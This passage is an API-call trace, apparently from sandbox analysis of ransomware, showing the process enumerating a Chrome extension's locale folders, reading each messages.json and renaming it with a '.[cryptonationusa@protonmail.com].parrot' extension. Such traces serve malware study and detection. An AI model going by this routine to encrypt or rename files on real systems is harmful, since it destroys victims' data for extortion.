Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.951] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.951] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.951] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.951] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.951] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.951] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.951] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.951] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.952] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.952] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.952] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.953] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.953] CloseHandle (hObject=0x1fc) returned 1 [0069.953] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.955] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.955] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72e45c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.955] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.955] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.957] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.957] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.957] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.957] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.957] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.958] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.958] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.958] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.959] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.959] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.959] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.959] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.959] CloseHandle (hObject=0x1fc) returned 1 [0069.960] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.961] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.961] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72e45c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.962] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.962] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.962] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.962] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.962] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.962] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.962] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.962] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.962] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.962] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.963] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.963] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.963] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.964] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.964] CloseHandle (hObject=0x1fc) returned 1 [0069.964] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.966] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.966] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72e45c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.966] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.966] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.014] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.014] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.014] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.014] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.014] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.014] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.014] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.015] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.015] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.016] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.016] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.016] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.016] CloseHandle (hObject=0x28c) returned 1 [0070.017] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.018] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.018] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb737cb40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb737cb40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.019] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb737cb40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.019] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.019] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.019] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.019] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.019] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.019] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.019] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.019] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.019] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.020] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.020] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.021] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.021] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.021] CloseHandle (hObject=0x28c) returned 1 [0070.021] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.023] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*", 